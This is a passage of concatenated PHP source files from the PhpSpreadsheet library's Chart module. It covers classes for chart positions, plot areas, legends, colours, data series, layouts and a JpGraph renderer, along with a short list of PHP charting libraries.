chart. * * @return int[] */ public function getTopLeftOffset(): array { return [ 'X' => $this->topLeftXOffset, 'Y' => $this->topLeftYOffset, ]; } /** * @return $this */ public function setTopLeftXOffset(int $xOffset): static { $this->topLeftXOffset = $xOffset; return $this; } public function getTopLeftXOffset(): int { return $this->topLeftXOffset; } /** * @return $this */ public function setTopLeftYOffset(int $yOffset): static { $this->topLeftYOffset = $yOffset; return $this; } public function getTopLeftYOffset(): int { return $this->topLeftYOffset; } /** * Set the Bottom Right position of the chart. * * @return $this */ public function setBottomRightPosition(string $cellAddress = '', ?int $xOffset = null, ?int $yOffset = null): static { $this->bottomRightCellRef = $cellAddress; if ($xOffset !== null) { $this->setBottomRightXOffset($xOffset); } if ($yOffset !== null) { $this->setBottomRightYOffset($yOffset); } return $this; } /** * Get the bottom right position of the chart. * * @return array an associative array containing the cell address, X-Offset and Y-Offset from the top left of that cell */ public function getBottomRightPosition(): array { return [ 'cell' => $this->bottomRightCellRef, 'xOffset' => $this->bottomRightXOffset, 'yOffset' => $this->bottomRightYOffset, ]; } /** * Set the Bottom Right cell for the chart. * * @return $this */ public function setBottomRightCell(string $cellAddress = ''): static { $this->bottomRightCellRef = $cellAddress; return $this; } /** * Get the cell address where the bottom right of the chart is fixed. */ public function getBottomRightCell(): string { return $this->bottomRightCellRef; } /** * Set the offset position within the Bottom Right cell for the chart. * * @return $this */ public function setBottomRightOffset(?int $xOffset, ?int $yOffset): static { if ($xOffset !== null) { $this->setBottomRightXOffset($xOffset); } if ($yOffset !== null) { $this->setBottomRightYOffset($yOffset); } return $this; } /** * Get the offset position within the Bottom Right cell for the chart. * * @return int[] */ public function getBottomRightOffset(): array { return [ 'X' => $this->bottomRightXOffset, 'Y' => $this->bottomRightYOffset, ]; } /** * @return $this */ public function setBottomRightXOffset(int $xOffset): static { $this->bottomRightXOffset = $xOffset; return $this; } public function getBottomRightXOffset(): int { return $this->bottomRightXOffset; } /** * @return $this */ public function setBottomRightYOffset(int $yOffset): static { $this->bottomRightYOffset = $yOffset; return $this; } public function getBottomRightYOffset(): int { return $this->bottomRightYOffset; } public function refresh(): void { if ($this->worksheet !== null && $this->plotArea !== null) { $this->plotArea->refresh($this->worksheet); } } /** * Render the chart to given file (or stream). * * @param ?string $outputDestination Name of the file render to * * @return bool true on success */ public function render(?string $outputDestination = null): bool { if ($outputDestination == 'php://output') { $outputDestination = null; } $libraryName = Settings::getChartRenderer(); if ($libraryName === null) { return false; } // Ensure that data series values are up-to-date before we render $this->refresh(); $renderer = new $libraryName($this); return $renderer->render($outputDestination); } public function getRotX(): ?int { return $this->rotX; } public function setRotX(?int $rotX): self { $this->rotX = $rotX; return $this; } public function getRotY(): ?int { return $this->rotY; } public function setRotY(?int $rotY): self { $this->rotY = $rotY; return $this; } public function getRAngAx(): ?int { return $this->rAngAx; } public function setRAngAx(?int $rAngAx): self { $this->rAngAx = $rAngAx; return $this; } public function getPerspective(): ?int { return $this->perspective; } public function setPerspective(?int $perspective): self { $this->perspective = $perspective; return $this; } public function getOneCellAnchor(): bool { return $this->oneCellAnchor; } public function setOneCellAnchor(bool $oneCellAnchor): self { $this->oneCellAnchor = $oneCellAnchor; return $this; } public function getAutoTitleDeleted(): bool { return $this->autoTitleDeleted; } public function setAutoTitleDeleted(bool $autoTitleDeleted): self { $this->autoTitleDeleted = $autoTitleDeleted; return $this; } public function getNoFill(): bool { return $this->noFill; } public function setNoFill(bool $noFill): self { $this->noFill = $noFill; return $this; } public function getRoundedCorners(): bool { return $this->roundedCorners; } public function setRoundedCorners(?bool $roundedCorners): self { if ($roundedCorners !== null) { $this->roundedCorners = $roundedCorners; } return $this; } public function getBorderLines(): GridLines { return $this->borderLines; } public function setBorderLines(GridLines $borderLines): self { $this->borderLines = $borderLines; return $this; } public function getFillColor(): ChartColor { return $this->fillColor; } public function setRenderedWidth(?float $width): self { $this->renderedWidth = $width; return $this; } public function getRenderedWidth(): ?float { return $this->renderedWidth; } public function setRenderedHeight(?float $height): self { $this->renderedHeight = $height; return $this; } public function getRenderedHeight(): ?float { return $this->renderedHeight; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $this->worksheet = null; $this->title = ($this->title === null) ? null : clone $this->title; $this->legend = ($this->legend === null) ? null : clone $this->legend; $this->xAxisLabel = ($this->xAxisLabel === null) ? null : clone $this->xAxisLabel; $this->yAxisLabel = ($this->yAxisLabel === null) ? null : clone $this->yAxisLabel; $this->plotArea = ($this->plotArea === null) ? null : clone $this->plotArea; $this->xAxis = clone $this->xAxis; $this->yAxis = clone $this->yAxis; $this->borderLines = clone $this->borderLines; $this->fillColor = clone $this->fillColor; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/PlotArea.php000064400000010134151676714400020527 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class PlotArea { /** * No fill in plot area (show Excel gridlines through chart). */ private bool $noFill = false; /** * PlotArea Gradient Stop list. * Each entry is a 2-element array. * First is position in %. * Second is ChartColor. * * @var array[] */ private array $gradientFillStops = []; /** * PlotArea Gradient Angle. */ private ?float $gradientFillAngle = null; /** * PlotArea Layout. */ private ?Layout $layout; /** * Plot Series. * * @var DataSeries[] */ private array $plotSeries; /** * Create a new PlotArea. * * @param DataSeries[] $plotSeries */ public function __construct(?Layout $layout = null, array $plotSeries = []) { $this->layout = $layout; $this->plotSeries = $plotSeries; } public function getLayout(): ?Layout { return $this->layout; } /** * Get Number of Plot Groups. */ public function getPlotGroupCount(): int { return count($this->plotSeries); } /** * Get Number of Plot Series. */ public function getPlotSeriesCount(): int|float { $seriesCount = 0; foreach ($this->plotSeries as $plot) { $seriesCount += $plot->getPlotSeriesCount(); } return $seriesCount; } /** * Get Plot Series. * * @return DataSeries[] */ public function getPlotGroup(): array { return $this->plotSeries; } /** * Get Plot Series by Index. */ public function getPlotGroupByIndex(int $index): DataSeries { return $this->plotSeries[$index]; } /** * Set Plot Series. * * @param DataSeries[] $plotSeries * * @return $this */ public function setPlotSeries(array $plotSeries): static { $this->plotSeries = $plotSeries; return $this; } public function refresh(Worksheet $worksheet): void { foreach ($this->plotSeries as $plotSeries) { $plotSeries->refresh($worksheet); } } public function setNoFill(bool $noFill): self { $this->noFill = $noFill; return $this; } public function getNoFill(): bool { return $this->noFill; } public function setGradientFillProperties(array $gradientFillStops, ?float $gradientFillAngle): self { $this->gradientFillStops = $gradientFillStops; $this->gradientFillAngle = $gradientFillAngle; return $this; } /** * Get gradientFillAngle. */ public function getGradientFillAngle(): ?float { return $this->gradientFillAngle; } /** * Get gradientFillStops. */ public function getGradientFillStops(): array { return $this->gradientFillStops; } private ?int $gapWidth = null; private bool $useUpBars = false; private bool $useDownBars = false; public function getGapWidth(): ?int { return $this->gapWidth; } public function setGapWidth(?int $gapWidth): self { $this->gapWidth = $gapWidth; return $this; } public function getUseUpBars(): bool { return $this->useUpBars; } public function setUseUpBars(bool $useUpBars): self { $this->useUpBars = $useUpBars; return $this; } public function getUseDownBars(): bool { return $this->useDownBars; } public function setUseDownBars(bool $useDownBars): self { $this->useDownBars = $useDownBars; return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $this->layout = ($this->layout === null) ? null : clone $this->layout; $plotSeries = $this->plotSeries; $this->plotSeries = []; foreach ($plotSeries as $series) { $this->plotSeries[] = clone $series; } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Legend.php000064400000010416151676714400020221 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; class Legend { /** Legend positions */ const XL_LEGEND_POSITION_BOTTOM = -4107; // Below the chart. const XL_LEGEND_POSITION_CORNER = 2; // In the upper right-hand corner of the chart border. const XL_LEGEND_POSITION_CUSTOM = -4161; // A custom position. const XL_LEGEND_POSITION_LEFT = -4131; // Left of the chart. const XL_LEGEND_POSITION_RIGHT = -4152; // Right of the chart. const XL_LEGEND_POSITION_TOP = -4160; // Above the chart. const POSITION_RIGHT = 'r'; const POSITION_LEFT = 'l'; const POSITION_BOTTOM = 'b'; const POSITION_TOP = 't'; const POSITION_TOPRIGHT = 'tr'; const POSITION_XLREF = [ self::XL_LEGEND_POSITION_BOTTOM => self::POSITION_BOTTOM, self::XL_LEGEND_POSITION_CORNER => self::POSITION_TOPRIGHT, self::XL_LEGEND_POSITION_CUSTOM => '??', self::XL_LEGEND_POSITION_LEFT => self::POSITION_LEFT, self::XL_LEGEND_POSITION_RIGHT => self::POSITION_RIGHT, self::XL_LEGEND_POSITION_TOP => self::POSITION_TOP, ]; /** * Legend position. */ private string $position = self::POSITION_RIGHT; /** * Allow overlay of other elements? */ private bool $overlay = true; /** * Legend Layout. */ private ?Layout $layout; private GridLines $borderLines; private ChartColor $fillColor; private ?AxisText $legendText = null; /** * Create a new Legend. */ public function __construct(string $position = self::POSITION_RIGHT, ?Layout $layout = null, bool $overlay = false) { $this->setPosition($position); $this->layout = $layout; $this->setOverlay($overlay); $this->borderLines = new GridLines(); $this->fillColor = new ChartColor(); } public function getFillColor(): ChartColor { return $this->fillColor; } /** * Get legend position as an excel string value. */ public function getPosition(): string { return $this->position; } /** * Get legend position using an excel string value. * * @param string $position see self::POSITION_* */ public function setPosition(string $position): bool { if (!in_array($position, self::POSITION_XLREF)) { return false; } $this->position = $position; return true; } /** * Get legend position as an Excel internal numeric value. */ public function getPositionXL(): false|int { return array_search($this->position, self::POSITION_XLREF); } /** * Set legend position using an Excel internal numeric value. * * @param int $positionXL see self::XL_LEGEND_POSITION_* */ public function setPositionXL(int $positionXL): bool { if (!isset(self::POSITION_XLREF[$positionXL])) { return false; } $this->position = self::POSITION_XLREF[$positionXL]; return true; } /** * Get allow overlay of other elements? */ public function getOverlay(): bool { return $this->overlay; } /** * Set allow overlay of other elements? */ public function setOverlay(bool $overlay): void { $this->overlay = $overlay; } /** * Get Layout. */ public function getLayout(): ?Layout { return $this->layout; } public function getLegendText(): ?AxisText { return $this->legendText; } public function setLegendText(?AxisText $legendText): self { $this->legendText = $legendText; return $this; } public function getBorderLines(): GridLines { return $this->borderLines; } public function setBorderLines(GridLines $borderLines): self { $this->borderLines = $borderLines; return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $this->layout = ($this->layout === null) ? null : clone $this->layout; $this->legendText = ($this->legendText === null) ? null : clone $this->legendText; $this->borderLines = clone $this->borderLines; $this->fillColor = clone $this->fillColor; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Exception.php000064400000000252151676714400020756 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class Exception extends PhpSpreadsheetException { } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/ChartColor.php000064400000007601151676714400021065 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; class ChartColor { const EXCEL_COLOR_TYPE_STANDARD = 'prstClr'; const EXCEL_COLOR_TYPE_SCHEME = 'schemeClr'; const EXCEL_COLOR_TYPE_RGB = 'srgbClr'; const EXCEL_COLOR_TYPES = [ self::EXCEL_COLOR_TYPE_RGB, self::EXCEL_COLOR_TYPE_SCHEME, self::EXCEL_COLOR_TYPE_STANDARD, ]; private string $value = ''; private string $type = ''; private ?int $alpha = null; private ?int $brightness = null; /** * @param string|string[] $value */ public function __construct($value = '', ?int $alpha = null, ?string $type = null, ?int $brightness = null) { if (is_array($value)) { $this->setColorPropertiesArray($value); } else { $this->setColorProperties($value, $alpha, $type, $brightness); } } public function getValue(): string { return $this->value; } public function setValue(string $value): self { $this->value = $value; return $this; } public function getType(): string { return $this->type; } public function setType(string $type): self { $this->type = $type; return $this; } public function getAlpha(): ?int { return $this->alpha; } public function setAlpha(?int $alpha): self { $this->alpha = $alpha; return $this; } public function getBrightness(): ?int { return $this->brightness; } public function setBrightness(?int $brightness): self { $this->brightness = $brightness; return $this; } public function setColorProperties(?string $color, null|float|int|string $alpha = null, ?string $type = null, null|float|int|string $brightness = null): self { if (empty($type) && !empty($color)) { if (str_starts_with($color, '*')) { $type = 'schemeClr'; $color = substr($color, 1); } elseif (str_starts_with($color, '/')) { $type = 'prstClr'; $color = substr($color, 1); } elseif (preg_match('/^[0-9A-Fa-f]{6}$/', $color) === 1) { $type = 'srgbClr'; } } if ($color !== null) { $this->setValue("$color"); } if ($type !== null) { $this->setType($type); } if ($alpha === null) { $this->setAlpha(null); } elseif (is_numeric($alpha)) { $this->setAlpha((int) $alpha); } if ($brightness === null) { $this->setBrightness(null); } elseif (is_numeric($brightness)) { $this->setBrightness((int) $brightness); } return $this; } public function setColorPropertiesArray(array $color): self { return $this->setColorProperties( $color['value'] ?? '', $color['alpha'] ?? null, $color['type'] ?? null, $color['brightness'] ?? null ); } public function isUsable(): bool { return $this->type !== '' && $this->value !== ''; } /** * Get Color Property. */ public function getColorProperty(string $propertyName): null|int|string { $retVal = null; if ($propertyName === 'value') { $retVal = $this->value; } elseif ($propertyName === 'type') { $retVal = $this->type; } elseif ($propertyName === 'alpha') { $retVal = $this->alpha; } elseif ($propertyName === 'brightness') { $retVal = $this->brightness; } return $retVal; } public static function alphaToXml(int $alpha): string { return (string) (100 - $alpha) . '000'; } public static function alphaFromXml(float|int|string $alpha): int { return 100 - ((int) $alpha / 1000); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/DataSeries.php000064400000022444151676714400021053 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class DataSeries { const TYPE_BARCHART = 'barChart'; const TYPE_BARCHART_3D = 'bar3DChart'; const TYPE_LINECHART = 'lineChart'; const TYPE_LINECHART_3D = 'line3DChart'; const TYPE_AREACHART = 'areaChart'; const TYPE_AREACHART_3D = 'area3DChart'; const TYPE_PIECHART = 'pieChart'; const TYPE_PIECHART_3D = 'pie3DChart'; const TYPE_DOUGHNUTCHART = 'doughnutChart'; const TYPE_DONUTCHART = self::TYPE_DOUGHNUTCHART; // Synonym const TYPE_SCATTERCHART = 'scatterChart'; const TYPE_SURFACECHART = 'surfaceChart'; const TYPE_SURFACECHART_3D = 'surface3DChart'; const TYPE_RADARCHART = 'radarChart'; const TYPE_BUBBLECHART = 'bubbleChart'; const TYPE_STOCKCHART = 'stockChart'; const TYPE_CANDLECHART = self::TYPE_STOCKCHART; // Synonym const GROUPING_CLUSTERED = 'clustered'; const GROUPING_STACKED = 'stacked'; const GROUPING_PERCENT_STACKED = 'percentStacked'; const GROUPING_STANDARD = 'standard'; const DIRECTION_BAR = 'bar'; const DIRECTION_HORIZONTAL = self::DIRECTION_BAR; const DIRECTION_COL = 'col'; const DIRECTION_COLUMN = self::DIRECTION_COL; const DIRECTION_VERTICAL = self::DIRECTION_COL; const STYLE_LINEMARKER = 'lineMarker'; const STYLE_SMOOTHMARKER = 'smoothMarker'; const STYLE_MARKER = 'marker'; const STYLE_FILLED = 'filled'; const EMPTY_AS_GAP = 'gap'; const EMPTY_AS_ZERO = 'zero'; const EMPTY_AS_SPAN = 'span'; /** * Series Plot Type. */ private ?string $plotType; /** * Plot Grouping Type. */ private ?string $plotGrouping; /** * Plot Direction. */ private string $plotDirection; /** * Plot Style. */ private ?string $plotStyle; /** * Order of plots in Series. * * @var int[] */ private array $plotOrder; /** * Plot Label. * * @var DataSeriesValues[] */ private array $plotLabel; /** * Plot Category. * * @var DataSeriesValues[] */ private array $plotCategory; /** * Smooth Line. Must be specified for both DataSeries and DataSeriesValues. */ private bool $smoothLine; /** * Plot Values. * * @var DataSeriesValues[] */ private array $plotValues; /** * Plot Bubble Sizes. * * @var DataSeriesValues[] */ private array $plotBubbleSizes = []; /** * Create a new DataSeries. * * @param int[] $plotOrder * @param DataSeriesValues[] $plotLabel * @param DataSeriesValues[] $plotCategory * @param DataSeriesValues[] $plotValues */ public function __construct( null|string $plotType = null, null|string $plotGrouping = null, array $plotOrder = [], array $plotLabel = [], array $plotCategory = [], array $plotValues = [], ?string $plotDirection = null, bool $smoothLine = false, ?string $plotStyle = null ) { $this->plotType = $plotType; $this->plotGrouping = $plotGrouping; $this->plotOrder = $plotOrder; $keys = array_keys($plotValues); $this->plotValues = $plotValues; if (!isset($plotLabel[$keys[0]])) { $plotLabel[$keys[0]] = new DataSeriesValues(); } $this->plotLabel = $plotLabel; if (!isset($plotCategory[$keys[0]])) { $plotCategory[$keys[0]] = new DataSeriesValues(); } $this->plotCategory = $plotCategory; $this->smoothLine = (bool) $smoothLine; $this->plotStyle = $plotStyle; if ($plotDirection === null) { $plotDirection = self::DIRECTION_COL; } $this->plotDirection = $plotDirection; } /** * Get Plot Type. */ public function getPlotType(): ?string { return $this->plotType; } /** * Set Plot Type. * * @return $this */ public function setPlotType(string $plotType): static { $this->plotType = $plotType; return $this; } /** * Get Plot Grouping Type. */ public function getPlotGrouping(): ?string { return $this->plotGrouping; } /** * Set Plot Grouping Type. * * @return $this */ public function setPlotGrouping(string $groupingType): static { $this->plotGrouping = $groupingType; return $this; } /** * Get Plot Direction. */ public function getPlotDirection(): string { return $this->plotDirection; } /** * Set Plot Direction. * * @return $this */ public function setPlotDirection(string $plotDirection): static { $this->plotDirection = $plotDirection; return $this; } /** * Get Plot Order. * * @return int[] */ public function getPlotOrder(): array { return $this->plotOrder; } /** * Get Plot Labels. * * @return DataSeriesValues[] */ public function getPlotLabels(): array { return $this->plotLabel; } /** * Get Plot Label by Index. * * @return DataSeriesValues|false */ public function getPlotLabelByIndex(int $index): bool|DataSeriesValues { $keys = array_keys($this->plotLabel); if (in_array($index, $keys)) { return $this->plotLabel[$index]; } return false; } /** * Get Plot Categories. * * @return DataSeriesValues[] */ public function getPlotCategories(): array { return $this->plotCategory; } /** * Get Plot Category by Index. * * @return DataSeriesValues|false */ public function getPlotCategoryByIndex(int $index): bool|DataSeriesValues { $keys = array_keys($this->plotCategory); if (in_array($index, $keys)) { return $this->plotCategory[$index]; } elseif (isset($keys[$index])) { return $this->plotCategory[$keys[$index]]; } return false; } /** * Get Plot Style. */ public function getPlotStyle(): ?string { return $this->plotStyle; } /** * Set Plot Style. * * @return $this */ public function setPlotStyle(?string $plotStyle): static { $this->plotStyle = $plotStyle; return $this; } /** * Get Plot Values. * * @return DataSeriesValues[] */ public function getPlotValues(): array { return $this->plotValues; } /** * Get Plot Values by Index. * * @return DataSeriesValues|false */ public function getPlotValuesByIndex(int $index): bool|DataSeriesValues { $keys = array_keys($this->plotValues); if (in_array($index, $keys)) { return $this->plotValues[$index]; } return false; } /** * Get Plot Bubble Sizes. * * @return DataSeriesValues[] */ public function getPlotBubbleSizes(): array { return $this->plotBubbleSizes; } /** * Set Plot Bubble Sizes. * * @param DataSeriesValues[] $plotBubbleSizes */ public function setPlotBubbleSizes(array $plotBubbleSizes): self { $this->plotBubbleSizes = $plotBubbleSizes; return $this; } /** * Get Number of Plot Series. */ public function getPlotSeriesCount(): int { return count($this->plotValues); } /** * Get Smooth Line. */ public function getSmoothLine(): bool { return $this->smoothLine; } /** * Set Smooth Line. * * @return $this */ public function setSmoothLine(bool $smoothLine): static { $this->smoothLine = $smoothLine; return $this; } public function refresh(Worksheet $worksheet): void { foreach ($this->plotValues as $plotValues) { if ($plotValues !== null) { $plotValues->refresh($worksheet, true); } } foreach ($this->plotLabel as $plotValues) { if ($plotValues !== null) { $plotValues->refresh($worksheet, true); } } foreach ($this->plotCategory as $plotValues) { if ($plotValues !== null) { $plotValues->refresh($worksheet, false); } } } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $plotLabels = $this->plotLabel; $this->plotLabel = []; foreach ($plotLabels as $plotLabel) { $this->plotLabel[] = $plotLabel; } $plotCategories = $this->plotCategory; $this->plotCategory = []; foreach ($plotCategories as $plotCategory) { $this->plotCategory[] = clone $plotCategory; } $plotValues = $this->plotValues; $this->plotValues = []; foreach ($plotValues as $plotValue) { $this->plotValues[] = clone $plotValue; } $plotBubbleSizes = $this->plotBubbleSizes; $this->plotBubbleSizes = []; foreach ($plotBubbleSizes as $plotBubbleSize) { $this->plotBubbleSizes[] = clone $plotBubbleSize; } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/AxisText.php000064400000002334151676714400020574 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; use PhpOffice\PhpSpreadsheet\Style\Font; class AxisText extends Properties { private ?int $rotation = null; private Font $font; public function __construct() { parent::__construct(); $this->font = new Font(); $this->font->setSize(null, true); } public function setRotation(?int $rotation): self { $this->rotation = $rotation; return $this; } public function getRotation(): ?int { return $this->rotation; } public function getFillColorObject(): ChartColor { $fillColor = $this->font->getChartColor(); if ($fillColor === null) { $fillColor = new ChartColor(); $this->font->setChartColorFromObject($fillColor); } return $fillColor; } public function getFont(): Font { return $this->font; } public function setFont(Font $font): self { $this->font = $font; return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { parent::__clone(); $this->font = clone $this->font; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Layout.php000064400000026265151676714400020311 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; use PhpOffice\PhpSpreadsheet\Style\Font; class Layout { /** * layoutTarget. */ private ?string $layoutTarget = null; /** * X Mode. */ private ?string $xMode = null; /** * Y Mode. */ private ?string $yMode = null; /** * X-Position. */ private ?float $xPos = null; /** * Y-Position. */ private ?float $yPos = null; /** * width. */ private ?float $width = null; /** * height. */ private ?float $height = null; /** * Position - t=top. */ private string $dLblPos = ''; private string $numFmtCode = ''; private bool $numFmtLinked = false; /** * show legend key * Specifies that legend keys should be shown in data labels. */ private ?bool $showLegendKey = null; /** * show value * Specifies that the value should be shown in a data label. */ private ?bool $showVal = null; /** * show category name * Specifies that the category name should be shown in the data label. */ private ?bool $showCatName = null; /** * show data series name * Specifies that the series name should be shown in the data label. */ private ?bool $showSerName = null; /** * show percentage * Specifies that the percentage should be shown in the data label. */ private ?bool $showPercent = null; /** * show bubble size. */ private ?bool $showBubbleSize = null; /** * show leader lines * Specifies that leader lines should be shown for the data label. */ private ?bool $showLeaderLines = null; private ?ChartColor $labelFillColor = null; private ?ChartColor $labelBorderColor = null; private ?Font $labelFont = null; private ?Properties $labelEffects = null; /** * Create a new Layout. */ public function __construct(array $layout = []) { if (isset($layout['layoutTarget'])) { $this->layoutTarget = $layout['layoutTarget']; } if (isset($layout['xMode'])) { $this->xMode = $layout['xMode']; } if (isset($layout['yMode'])) { $this->yMode = $layout['yMode']; } if (isset($layout['x'])) { $this->xPos = (float) $layout['x']; } if (isset($layout['y'])) { $this->yPos = (float) $layout['y']; } if (isset($layout['w'])) { $this->width = (float) $layout['w']; } if (isset($layout['h'])) { $this->height = (float) $layout['h']; } if (isset($layout['dLblPos'])) { $this->dLblPos = (string) $layout['dLblPos']; } if (isset($layout['numFmtCode'])) { $this->numFmtCode = (string) $layout['numFmtCode']; } $this->initBoolean($layout, 'showLegendKey'); $this->initBoolean($layout, 'showVal'); $this->initBoolean($layout, 'showCatName'); $this->initBoolean($layout, 'showSerName'); $this->initBoolean($layout, 'showPercent'); $this->initBoolean($layout, 'showBubbleSize'); $this->initBoolean($layout, 'showLeaderLines'); $this->initBoolean($layout, 'numFmtLinked'); $this->initColor($layout, 'labelFillColor'); $this->initColor($layout, 'labelBorderColor'); $labelFont = $layout['labelFont'] ?? null; if ($labelFont instanceof Font) { $this->labelFont = $labelFont; } $labelFontColor = $layout['labelFontColor'] ?? null; if ($labelFontColor instanceof ChartColor) { $this->setLabelFontColor($labelFontColor); } $labelEffects = $layout['labelEffects'] ?? null; if ($labelEffects instanceof Properties) { $this->labelEffects = $labelEffects; } } private function initBoolean(array $layout, string $name): void { if (isset($layout[$name])) { $this->$name = (bool) $layout[$name]; } } private function initColor(array $layout, string $name): void { if (isset($layout[$name]) && $layout[$name] instanceof ChartColor) { $this->$name = $layout[$name]; } } /** * Get Layout Target. */ public function getLayoutTarget(): ?string { return $this->layoutTarget; } /** * Set Layout Target. * * @return $this */ public function setLayoutTarget(?string $target): static { $this->layoutTarget = $target; return $this; } /** * Get X-Mode. */ public function getXMode(): ?string { return $this->xMode; } /** * Set X-Mode. * * @return $this */ public function setXMode(?string $mode): static { $this->xMode = (string) $mode; return $this; } /** * Get Y-Mode. */ public function getYMode(): ?string { return $this->yMode; } /** * Set Y-Mode. * * @return $this */ public function setYMode(?string $mode): static { $this->yMode = (string) $mode; return $this; } /** * Get X-Position. */ public function getXPosition(): null|float|int { return $this->xPos; } /** * Set X-Position. * * @return $this */ public function setXPosition(float $position): static { $this->xPos = $position; return $this; } /** * Get Y-Position. */ public function getYPosition(): ?float { return $this->yPos; } /** * Set Y-Position. * * @return $this */ public function setYPosition(float $position): static { $this->yPos = $position; return $this; } /** * Get Width. */ public function getWidth(): ?float { return $this->width; } /** * Set Width. * * @return $this */ public function setWidth(?float $width): static { $this->width = $width; return $this; } /** * Get Height. */ public function getHeight(): ?float { return $this->height; } /** * Set Height. * * @return $this */ public function setHeight(?float $height): static { $this->height = $height; return $this; } public function getShowLegendKey(): ?bool { return $this->showLegendKey; } /** * Set show legend key * Specifies that legend keys should be shown in data labels. */ public function setShowLegendKey(?bool $showLegendKey): self { $this->showLegendKey = $showLegendKey; return $this; } public function getShowVal(): ?bool { return $this->showVal; } /** * Set show val * Specifies that the value should be shown in data labels. */ public function setShowVal(?bool $showDataLabelValues): self { $this->showVal = $showDataLabelValues; return $this; } public function getShowCatName(): ?bool { return $this->showCatName; } /** * Set show cat name * Specifies that the category name should be shown in data labels. */ public function setShowCatName(?bool $showCategoryName): self { $this->showCatName = $showCategoryName; return $this; } public function getShowSerName(): ?bool { return $this->showSerName; } /** * Set show data series name. * Specifies that the series name should be shown in data labels. */ public function setShowSerName(?bool $showSeriesName): self { $this->showSerName = $showSeriesName; return $this; } public function getShowPercent(): ?bool { return $this->showPercent; } /** * Set show percentage. * Specifies that the percentage should be shown in data labels. */ public function setShowPercent(?bool $showPercentage): self { $this->showPercent = $showPercentage; return $this; } public function getShowBubbleSize(): ?bool { return $this->showBubbleSize; } /** * Set show bubble size. * Specifies that the bubble size should be shown in data labels. */ public function setShowBubbleSize(?bool $showBubbleSize): self { $this->showBubbleSize = $showBubbleSize; return $this; } public function getShowLeaderLines(): ?bool { return $this->showLeaderLines; } /** * Set show leader lines. * Specifies that leader lines should be shown in data labels. */ public function setShowLeaderLines(?bool $showLeaderLines): self { $this->showLeaderLines = $showLeaderLines; return $this; } public function getLabelFillColor(): ?ChartColor { return $this->labelFillColor; } public function setLabelFillColor(?ChartColor $chartColor): self { $this->labelFillColor = $chartColor; return $this; } public function getLabelBorderColor(): ?ChartColor { return $this->labelBorderColor; } public function setLabelBorderColor(?ChartColor $chartColor): self { $this->labelBorderColor = $chartColor; return $this; } public function getLabelFont(): ?Font { return $this->labelFont; } public function getLabelEffects(): ?Properties { return $this->labelEffects; } public function getLabelFontColor(): ?ChartColor { if ($this->labelFont === null) { return null; } return $this->labelFont->getChartColor(); } public function setLabelFontColor(?ChartColor $chartColor): self { if ($this->labelFont === null) { $this->labelFont = new Font(); $this->labelFont->setSize(null, true); } $this->labelFont->setChartColorFromObject($chartColor); return $this; } public function getDLblPos(): string { return $this->dLblPos; } public function setDLblPos(string $dLblPos): self { $this->dLblPos = $dLblPos; return $this; } public function getNumFmtCode(): string { return $this->numFmtCode; } public function setNumFmtCode(string $numFmtCode): self { $this->numFmtCode = $numFmtCode; return $this; } public function getNumFmtLinked(): bool { return $this->numFmtLinked; } public function setNumFmtLinked(bool $numFmtLinked): self { $this->numFmtLinked = $numFmtLinked; return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $this->labelFillColor = ($this->labelFillColor === null) ? null : clone $this->labelFillColor; $this->labelBorderColor = ($this->labelBorderColor === null) ? null : clone $this->labelBorderColor; $this->labelFont = ($this->labelFont === null) ? null : clone $this->labelFont; $this->labelEffects = ($this->labelEffects === null) ? null : clone $this->labelEffects; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Renderer/PHP Charting Libraries.txt000064400000001076151676714400024667 0ustar00ChartDirector https://www.advsofteng.com/cdphp.html GraPHPite http://graphpite.sourceforge.net/ JpGraph https://jpgraph.net/ Used composer packages: https://packagist.org/packages/jpgraph/jpgraph (\PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph) https://packagist.org/packages/mitoteam/jpgraph (\PhpOffice\PhpSpreadsheet\Chart\Renderer\MtJpGraphRenderer) LibChart https://naku.dohcrew.com/libchart/pages/introduction/ pChart http://pchart.sourceforge.net/ TeeChart https://www.steema.com/ PHPGraphLib http://www.ebrueggeman.com/phpgraphlib phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Renderer/JpGraph.php000064400000002323151676714400022122 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart\Renderer; /** * Jpgraph is not oficially maintained in Composer, so the version there * could be out of date. For that reason, all unit test requiring Jpgraph * are skipped. So, do not measure code coverage for this class till that * is fixed. * * This implementation uses abandoned package * https://packagist.org/packages/jpgraph/jpgraph * * @codeCoverageIgnore */ class JpGraph extends JpGraphRendererBase { protected static function init(): void { static $loaded = false; if ($loaded) { return; } // JpGraph is no longer included with distribution, but user may install it. // So Scrutinizer's complaint that it can't find it is reasonable, but unfixable. \JpGraph\JpGraph::load(); \JpGraph\JpGraph::module('bar'); \JpGraph\JpGraph::module('contour'); \JpGraph\JpGraph::module('line'); \JpGraph\JpGraph::module('pie'); \JpGraph\JpGraph::module('pie3d'); \JpGraph\JpGraph::module('radar'); \JpGraph\JpGraph::module('regstat'); 